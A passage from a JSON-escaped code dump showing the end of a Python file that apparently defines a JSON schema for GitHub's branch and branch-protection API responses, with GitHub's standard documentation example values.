\"https://api.github.com/users/octocat/following{/other_user}\"\n                                                        ]\n                                                    },\n                                                    \"gists_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/gists{/gist_id}\"\n                                                        ]\n                                                    },\n                                                    \"starred_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/starred{/owner}{/repo}\"\n                                                        ]\n                                                    },\n                                                    \"subscriptions_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/subscriptions\"\n                                                        ]\n                                                    },\n                                                    \"organizations_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/orgs\"\n                                                        ]\n                                                    },\n                                                    \"repos_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/repos\"\n                                                        ]\n                                                    },\n                                                    \"events_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/events{/privacy}\"\n                                                        ]\n                                                    },\n                                                    \"received_events_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/received_events\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"User\"\n                                                        ]\n                                                    },\n                                                    \"site_admin\": {\n                                                        \"type\": \"boolean\"\n                                                    },\n                                                    \"starred_at\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"2020-07-09T00:17:55Z\\\"\"\n                                                        ]\n                                                    }\n                                                },\n                                                \"required\": [\n                                                    \"avatar_url\",\n                                                    \"events_url\",\n                                                    \"followers_url\",\n                                                    \"following_url\",\n                                                    \"gists_url\",\n                                                    \"gravatar_id\",\n                                                    \"html_url\",\n                                                    \"id\",\n                                                    \"node_id\",\n                                                    \"login\",\n                                                    \"organizations_url\",\n                                                    \"received_events_url\",\n                                                    \"repos_url\",\n                                                    \"site_admin\",\n                                                    \"starred_url\",\n                                                    \"subscriptions_url\",\n                                                    \"type\",\n                                                    \"url\"\n                                                ]\n                                            }\n                                        },\n                                        \"teams\": {\n                                            \"description\": \"The list of teams allowed to bypass pull request requirements.\",\n                                            \"type\": \"array\",\n                                            \"items\": {\n                                                \"title\": \"Team\",\n                                                \"description\": \"Groups of organization members that gives permissions on specified repositories.\",\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"id\": {\n                                                        \"type\": \"integer\"\n                                                    },\n                                                    \"node_id\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"name\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"slug\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"description\": {\n                                                        \"type\": [\n                                                            \"string\",\n                                                            \"null\"\n                                                        ]\n                                                    },\n                                                    \"privacy\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"permission\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"permissions\": {\n                                                        \"type\": \"object\",\n                                                        \"properties\": {\n                                                            \"pull\": {\n                                                                \"type\": \"boolean\"\n                                                            },\n                                                            \"triage\": {\n                                                                \"type\": \"boolean\"\n                                                            },\n                                                            \"push\": {\n                                                                \"type\": \"boolean\"\n                                                            },\n                                                            \"maintain\": {\n                                                                \"type\": \"boolean\"\n                                                            },\n                                                            \"admin\": {\n                                                                \"type\": \"boolean\"\n                                                            }\n                                                        },\n                                                        \"required\": [\n                                                            \"pull\",\n                                                            \"triage\",\n                                                            \"push\",\n                                                            \"maintain\",\n                                                            \"admin\"\n                                                        ]\n                                                    },\n                                                    \"url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\"\n                                                    },\n                                                    \"html_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://github.com/orgs/rails/teams/core\"\n                                                        ]\n                                                    },\n                                                    \"members_url\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"repositories_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\"\n                                                    },\n                                                    \"parent\": {\n                                                        \"anyOf\": [\n                                                            {\n                                                                \"type\": \"null\"\n                                                            },\n                                                            {\n                                                                \"title\": \"Team Simple\",\n                                                                \"description\": \"Groups of organization members that gives permissions on specified repositories.\",\n                                                                \"type\": \"object\",\n                                                                \"properties\": {\n                                                                    \"id\": {\n                                                                        \"description\": \"Unique identifier of the team\",\n                                                                        \"type\": \"integer\",\n                                                                        \"examples\": [\n                                                                            1\n                                                                        ]\n                                                                    },\n                                                                    \"node_id\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"MDQ6VGVhbTE=\"\n                                                                        ]\n                                                                    },\n                                                                    \"url\": {\n                                                                        \"description\": \"URL for the team\",\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/organizations/1/team/1\"\n                                                                        ]\n                                                                    },\n                                                                    \"members_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/organizations/1/team/1/members{/member}\"\n                                                                        ]\n                                                                    },\n                                                                    \"name\": {\n                                                                        \"description\": \"Name of the team\",\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"Justice League\"\n                                                                        ]\n                                                                    },\n                                                                    \"description\": {\n                                                                        \"description\": \"Description of the team\",\n                                                                        \"type\": [\n                                                                            \"string\",\n                                                                            \"null\"\n                                                                        ],\n                                                                        \"examples\": [\n                                                                            \"A great team.\"\n                                                                        ]\n                                                                    },\n                                                                    \"permission\": {\n                                                                        \"description\": \"Permission that the team will have for its repositories\",\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"admin\"\n                                                                        ]\n                                                                    },\n                                                                    \"privacy\": {\n                                                                        \"description\": \"The level of privacy this team should have\",\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"closed\"\n                                                                        ]\n                                                                    },\n                                                                    \"html_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://github.com/orgs/rails/teams/core\"\n                                                                        ]\n                                                                    },\n                                                                    \"repositories_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/organizations/1/team/1/repos\"\n                                                                        ]\n                                                                    },\n                                                                    \"slug\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"justice-league\"\n                                                                        ]\n                                                                    },\n                                                                    \"ldap_dn\": {\n                                                                        \"description\": \"Distinguished Name (DN) that team maps to within LDAP environment\",\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"uid=example,ou=users,dc=github,dc=com\"\n                                                                        ]\n                                                                    }\n                                                                },\n                                                                \"required\": [\n                                                                    \"id\",\n                                                                    \"node_id\",\n                                                                    \"url\",\n                                                                    \"members_url\",\n                                                                    \"name\",\n                                                                    \"description\",\n                                                                    \"permission\",\n                                                                    \"html_url\",\n                                                                    \"repositories_url\",\n                                                                    \"slug\"\n                                                                ]\n                                                            }\n                                                        ]\n                                                    }\n                                                },\n                                                \"required\": [\n                                                    \"id\",\n                                                    \"node_id\",\n                                                    \"url\",\n                                                    \"members_url\",\n                                                    \"name\",\n                                                    \"description\",\n                                                    \"permission\",\n                                                    \"html_url\",\n                                                    \"repositories_url\",\n                                                    \"slug\",\n                                                    \"parent\"\n                                                ]\n                                            }\n                                        },\n                                        \"apps\": {\n                                            \"description\": \"The list of apps allowed to bypass pull request requirements.\",\n                                            \"type\": \"array\",\n                                            \"items\": {\n                                                \"title\": \"GitHub app\",\n                                                \"description\": \"GitHub apps are a new way to extend GitHub. They can be installed directly on organizations and user accounts and granted access to specific repositories. They come with granular permissions and built-in webhooks. GitHub apps are first class actors within GitHub.\",\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"id\": {\n                                                        \"description\": \"Unique identifier of the GitHub app\",\n                                                        \"type\": \"integer\",\n                                                        \"examples\": [\n                                                            37\n                                                        ]\n                                                    },\n                                                    \"slug\": {\n                                                        \"description\": \"The slug name of the GitHub app\",\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"probot-owners\"\n                                                        ]\n                                                    },\n                                                    \"node_id\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"MDExOkludGVncmF0aW9uMQ==\"\n                                                        ]\n                                                    },\n                                                    \"owner\": {\n                                                        \"anyOf\": [\n                                                            {\n                                                                \"type\": \"null\"\n                                                            },\n                                                            {\n                                                                \"title\": \"Simple User\",\n                                                                \"description\": \"A GitHub user.\",\n                                                                \"type\": \"object\",\n                                                                \"properties\": {\n                                                                    \"name\": {\n                                                                        \"type\": [\n                                                                            \"string\",\n                                                                            \"null\"\n                                                                        ]\n                                                                    },\n                                                                    \"email\": {\n                                                                        \"type\": [\n                                                                            \"string\",\n                                                                            \"null\"\n                                                                        ]\n                                                                    },\n                                                                    \"login\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"octocat\"\n                                                                        ]\n                                                                    },\n                                                                    \"id\": {\n                                                                        \"type\": \"integer\",\n                                                                        \"examples\": [\n                                                                            1\n                                                                        ]\n                                                                    },\n                                                                    \"node_id\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"MDQ6VXNlcjE=\"\n                                                                        ]\n                                                                    },\n                                                                    \"avatar_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://github.com/images/error/octocat_happy.gif\"\n                                                                        ]\n                                                                    },\n                                                                    \"gravatar_id\": {\n                                                                        \"type\": [\n                                                                            \"string\",\n                                                                            \"null\"\n                                                                        ],\n                                                                        \"examples\": [\n                                                                            \"41d064eb2195891e12d0413f63227ea7\"\n                                                                        ]\n                                                                    },\n                                                                    \"url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat\"\n                                                                        ]\n                                                                    },\n                                                                    \"html_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://github.com/octocat\"\n                                                                        ]\n                                                                    },\n                                                                    \"followers_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/followers\"\n                                                                        ]\n                                                                    },\n                                                                    \"following_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/following{/other_user}\"\n                                                                        ]\n                                                                    },\n                                                                    \"gists_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/gists{/gist_id}\"\n                                                                        ]\n                                                                    },\n                                                                    \"starred_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/starred{/owner}{/repo}\"\n                                                                        ]\n                                                                    },\n                                                                    \"subscriptions_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/subscriptions\"\n                                                                        ]\n                                                                    },\n                                                                    \"organizations_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/orgs\"\n                                                                        ]\n                                                                    },\n                                                                    \"repos_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/repos\"\n                                                                        ]\n                                                                    },\n                                                                    \"events_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/events{/privacy}\"\n                                                                        ]\n                                                                    },\n                                                                    \"received_events_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/received_events\"\n                                                                        ]\n                                                                    },\n                                                                    \"type\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"User\"\n                                                                        ]\n                                                                    },\n                                                                    \"site_admin\": {\n                                                                        \"type\": \"boolean\"\n                                                                    },\n                                                                    \"starred_at\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"\\\"2020-07-09T00:17:55Z\\\"\"\n                                                                        ]\n                                                                    }\n                                                                },\n                                                                \"required\": [\n                                                                    \"avatar_url\",\n                                                                    \"events_url\",\n                                                                    \"followers_url\",\n                                                                    \"following_url\",\n                                                                    \"gists_url\",\n                                                                    \"gravatar_id\",\n                                                                    \"html_url\",\n                                                                    \"id\",\n                                                                    \"node_id\",\n                                                                    \"login\",\n                                                                    \"organizations_url\",\n                                                                    \"received_events_url\",\n                                                                    \"repos_url\",\n                                                                    \"site_admin\",\n                                                                    \"starred_url\",\n                                                                    \"subscriptions_url\",\n                                                                    \"type\",\n                                                                    \"url\"\n                                                                ]\n                                                            }\n                                                        ]\n                                                    },\n                                                    \"name\": {\n                                                        \"description\": \"The name of the GitHub app\",\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"Probot Owners\"\n                                                        ]\n                                                    },\n                                                    \"description\": {\n                                                        \"type\": [\n                                                            \"string\",\n                                                            \"null\"\n                                                        ],\n                                                        \"examples\": [\n                                                            \"The description of the app.\"\n                                                        ]\n                                                    },\n                                                    \"external_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://example.com\"\n                                                        ]\n                                                    },\n                                                    \"html_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://github.com/apps/super-ci\"\n                                                        ]\n                                                    },\n                                                    \"created_at\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"date-time\",\n                                                        \"examples\": [\n                                                            \"2017-07-08T16:18:44-04:00\"\n                                                        ]\n                                                    },\n                                                    \"updated_at\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"date-time\",\n                                                        \"examples\": [\n                                                            \"2017-07-08T16:18:44-04:00\"\n                                                        ]\n                                                    },\n                                                    \"permissions\": {\n                                                        \"description\": \"The set of permissions for the GitHub app\",\n                                                        \"type\": \"object\",\n                                                        \"properties\": {\n                                                            \"issues\": {\n                                                                \"type\": \"string\"\n                                                            },\n                                                            \"checks\": {\n                                                                \"type\": \"string\"\n                                                            },\n                                                            \"metadata\": {\n                                                                \"type\": \"string\"\n                                                            },\n                                                            \"contents\": {\n                                                                \"type\": \"string\"\n                                                            },\n                                                            \"deployments\": {\n                                                                \"type\": \"string\"\n                                                            }\n                                                        },\n                                                        \"additionalProperties\": {\n                                                            \"type\": \"string\"\n                                                        },\n                                                        \"example\": {\n                                                            \"issues\": \"read\",\n                                                            \"deployments\": \"write\"\n                                                        }\n                                                    },\n                                                    \"events\": {\n                                                        \"description\": \"The list of events for the GitHub app\",\n                                                        \"type\": \"array\",\n                                                        \"items\": {\n                                                            \"type\": \"string\"\n                                                        },\n                                                        \"examples\": [\n                                                            \"label\",\n                                                            \"deployment\"\n                                                        ]\n                                                    },\n                                                    \"installations_count\": {\n                                                        \"description\": \"The number of installations associated with the GitHub app\",\n                                                        \"type\": \"integer\",\n                                                        \"examples\": [\n                                                            5\n                                                        ]\n                                                    },\n                                                    \"client_id\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"Iv1.25b5d1e65ffc4022\\\"\"\n                                                        ]\n                                                    },\n                                                    \"client_secret\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"1d4b2097ac622ba702d19de498f005747a8b21d3\\\"\"\n                                                        ]\n                                                    },\n                                                    \"webhook_secret\": {\n                                                        \"type\": [\n                                                            \"string\",\n                                                            \"null\"\n                                                        ],\n                                                        \"examples\": [\n                                                            \"\\\"6fba8f2fc8a7e8f2cca5577eddd82ca7586b3b6b\\\"\"\n                                                        ]\n                                                    },\n                                                    \"pem\": {\n                                                        \"type\": \"string\"\n                                                    }\n                                                },\n                                                \"required\": [\n                                                    \"id\",\n                                                    \"node_id\",\n                                                    \"owner\",\n                                                    \"name\",\n                                                    \"description\",\n                                                    \"external_url\",\n                                                    \"html_url\",\n                                                    \"created_at\",\n                                                    \"updated_at\",\n                                                    \"permissions\",\n                                                    \"events\"\n                                                ]\n                                            }\n                                        }\n                                    }\n                                },\n                                \"dismiss_stale_reviews\": {\n                                    \"type\": \"boolean\",\n                                    \"examples\": [\n                                        True\n                                    ]\n                                },\n                                \"require_code_owner_reviews\": {\n                                    \"type\": \"boolean\",\n                                    \"examples\": [\n                                        True\n                                    ]\n                                },\n                                \"required_approving_review_count\": {\n                                    \"type\": \"integer\",\n                                    \"minimum\": 0,\n                                    \"maximum\": 6,\n                                    \"examples\": [\n                                        2\n                                    ]\n                                },\n                                \"require_last_push_approval\": {\n                                    \"description\": \"Whether the most recent push must be approved by someone other than the person who pushed it.\",\n                                    \"type\": \"boolean\",\n                                    \"default\": False,\n                                    \"examples\": [\n                                        True\n                                    ]\n                                }\n                            },\n                            \"required\": [\n                                \"dismiss_stale_reviews\",\n                                \"require_code_owner_reviews\"\n                            ]\n                        },\n                        \"restrictions\": {\n                            \"title\": \"Branch Restriction Policy\",\n                            \"description\": \"Branch Restriction Policy\",\n                            \"type\": \"object\",\n                            \"properties\": {\n                                \"url\": {\n                                    \"type\": \"string\",\n                                    \"format\": \"uri\"\n                                },\n                                \"users_url\": {\n                                    \"type\": \"string\",\n                                    \"format\": \"uri\"\n                                },\n                                \"teams_url\": {\n                                    \"type\": \"string\",\n                                    \"format\": \"uri\"\n                                },\n                                \"apps_url\": {\n                                    \"type\": \"string\",\n                                    \"format\": \"uri\"\n                                },\n                                \"users\": {\n                                    \"type\": \"array\",\n                                    \"items\": {\n                                        \"type\": \"object\",\n                                        \"properties\": {\n                                            \"login\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"id\": {\n                                                \"type\": \"integer\"\n                                            },\n                                            \"node_id\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"avatar_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"gravatar_id\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"html_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"followers_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"following_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"gists_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"starred_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"subscriptions_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"organizations_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"repos_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"events_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"received_events_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"type\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"site_admin\": {\n                                                \"type\": \"boolean\"\n                                            }\n                                        }\n                                    }\n                                },\n                                \"teams\": {\n                                    \"type\": \"array\",\n                                    \"items\": {\n                                        \"type\": \"object\",\n                                        \"properties\": {\n                                            \"id\": {\n                                                \"type\": \"integer\"\n                                            },\n                                            \"node_id\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"html_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"name\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"slug\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"description\": {\n                                                \"type\": [\n                                                    \"string\",\n                                                    \"null\"\n                                                ]\n                                            },\n                                            \"privacy\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"permission\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"members_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"repositories_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"parent\": {\n                                                \"type\": [\n                                                    \"string\",\n                                                    \"null\"\n                                                ]\n                                            }\n                                        }\n                                    }\n                                },\n                                \"apps\": {\n                                    \"type\": \"array\",\n                                    \"items\": {\n                                        \"type\": \"object\",\n                                        \"properties\": {\n                                            \"id\": {\n                                                \"type\": \"integer\"\n                                            },\n                                            \"slug\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"node_id\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"owner\": {\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"login\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"id\": {\n                                                        \"type\": \"integer\"\n                                                    },\n                                                    \"node_id\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"url\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"repos_url\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"events_url\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"hooks_url\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"issues_url\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"members_url\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"public_members_url\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"avatar_url\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"description\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"gravatar_id\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"\\\"\"\n                                                        ]\n                                                    },\n                                                    \"html_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"https://github.com/testorg-ea8ec76d71c3af4b\\\"\"\n                                                        ]\n                                                    },\n                                                    \"followers_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/followers\\\"\"\n                                                        ]\n                                                    },\n                                                    \"following_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/following{/other_user}\\\"\"\n                                                        ]\n                                                    },\n                                                    \"gists_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/gists{/gist_id}\\\"\"\n                                                        ]\n                                                    },\n                                                    \"starred_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/starred{/owner}{/repo}\\\"\"\n                                                        ]\n                                                    },\n                                                    \"subscriptions_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/subscriptions\\\"\"\n                                                        ]\n                                                    },\n                                                    \"organizations_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/orgs\\\"\"\n                                                        ]\n                                                    },\n                                                    \"received_events_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/received_events\\\"\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"Organization\\\"\"\n                                                        ]\n                                                    },\n                                                    \"site_admin\": {\n                                                        \"type\": \"boolean\",\n                                                        \"examples\": [\n                                                            False\n                                                        ]\n                                                    }\n                                                }\n                                            },\n                                            \"name\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"description\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"external_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"html_url\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"created_at\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"updated_at\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"permissions\": {\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"metadata\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"contents\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"issues\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"single_file\": {\n                                                        \"type\": \"string\"\n                                                    }\n                                                }\n                                            },\n                                            \"events\": {\n                                                \"type\": \"array\",\n                                                \"items\": {\n                                                    \"type\": \"string\"\n                                                }\n                                            }\n                                        }\n                                    }\n                                }\n                            },\n                            \"required\": [\n                                \"url\",\n                                \"users_url\",\n                                \"teams_url\",\n                                \"apps_url\",\n                                \"users\",\n                                \"teams\",\n                                \"apps\"\n                            ]\n                        },\n                        \"required_linear_history\": {\n                            \"type\": \"object\",\n                            \"properties\": {\n                                \"enabled\": {\n                                    \"type\": \"boolean\"\n                                }\n                            }\n                        },\n                        \"allow_force_pushes\": {\n                            \"type\": \"object\",\n                            \"properties\": {\n                                \"enabled\": {\n                                    \"type\": \"boolean\"\n                                }\n                            }\n                        },\n                        \"allow_deletions\": {\n                            \"type\": \"object\",\n                            \"properties\": {\n                                \"enabled\": {\n                                    \"type\": \"boolean\"\n                                }\n                            }\n                        },\n                        \"block_creations\": {\n                            \"type\": \"object\",\n                            \"properties\": {\n                                \"enabled\": {\n                                    \"type\": \"boolean\"\n                                }\n                            }\n                        },\n                        \"required_conversation_resolution\": {\n                            \"type\": \"object\",\n                            \"properties\": {\n                                \"enabled\": {\n                                    \"type\": \"boolean\"\n                                }\n                            }\n                        },\n                        \"name\": {\n                            \"type\": \"string\",\n                            \"examples\": [\n                                \"\\\"branch/with/protection\\\"\"\n                            ]\n                        },\n                        \"protection_url\": {\n                            \"type\": \"string\",\n                            \"examples\": [\n                                \"\\\"https://api.github.com/repos/owner-79e94e2d36b3fd06a32bb213/AAA_Public_Repo/branches/branch/with/protection/protection\\\"\"\n                            ]\n                        },\n                        \"required_signatures\": {\n                            \"type\": \"object\",\n                            \"properties\": {\n                                \"url\": {\n                                    \"type\": \"string\",\n                                    \"format\": \"uri\",\n                                    \"examples\": [\n                                        \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_signatures\"\n                                    ]\n                                },\n                                \"enabled\": {\n                                    \"type\": \"boolean\",\n                                    \"examples\": [\n                                        True\n                                    ]\n                                }\n                            },\n                            \"required\": [\n                                \"url\",\n                                \"enabled\"\n                            ]\n                        },\n                        \"lock_branch\": {\n                            \"type\": \"object\",\n                            \"description\": \"Whether to set the branch as read-only. If this is true, users will not be able to push to the branch.\",\n                            \"properties\": {\n                                \"enabled\": {\n                                    \"default\": False,\n                                    \"type\": \"boolean\"\n                                }\n                            }\n                        },\n                        \"allow_fork_syncing\": {\n                            \"type\": \"object\",\n                            \"description\": \"Whether users can pull changes from upstream when the branch is locked. Set to `true` to allow fork syncing. Set to `false` to prevent fork syncing.\",\n                            \"properties\": {\n                                \"enabled\": {\n                                    \"default\": False,\n                                    \"type\": \"boolean\"\n                                }\n                            }\n                        }\n                    }\n                },\n                \"protection_url\": {\n                    \"type\": \"string\",\n                    \"format\": \"uri\"\n                },\n                \"pattern\": {\n                    \"type\": \"string\",\n                    \"examples\": [\n                        \"\\\"mas*\\\"\"\n                    ]\n                },\n                \"required_approving_review_count\": {\n                    \"type\": \"integer\",\n                    \"examples\": [\n                        1\n                    ]\n                }\n            },\n            \"required\": [\n                \"name\",\n                \"commit\",\n                \"_links\",\n                \"protection\",\n                \"protected\",\n                \"protection_url\"\n            ]\n        }\n        super().__init__(schema=schema)\n\n\nschema = BranchSchema()\n"
  },
  {
    "path": "checkov/github/schemas/branch_protection.py",
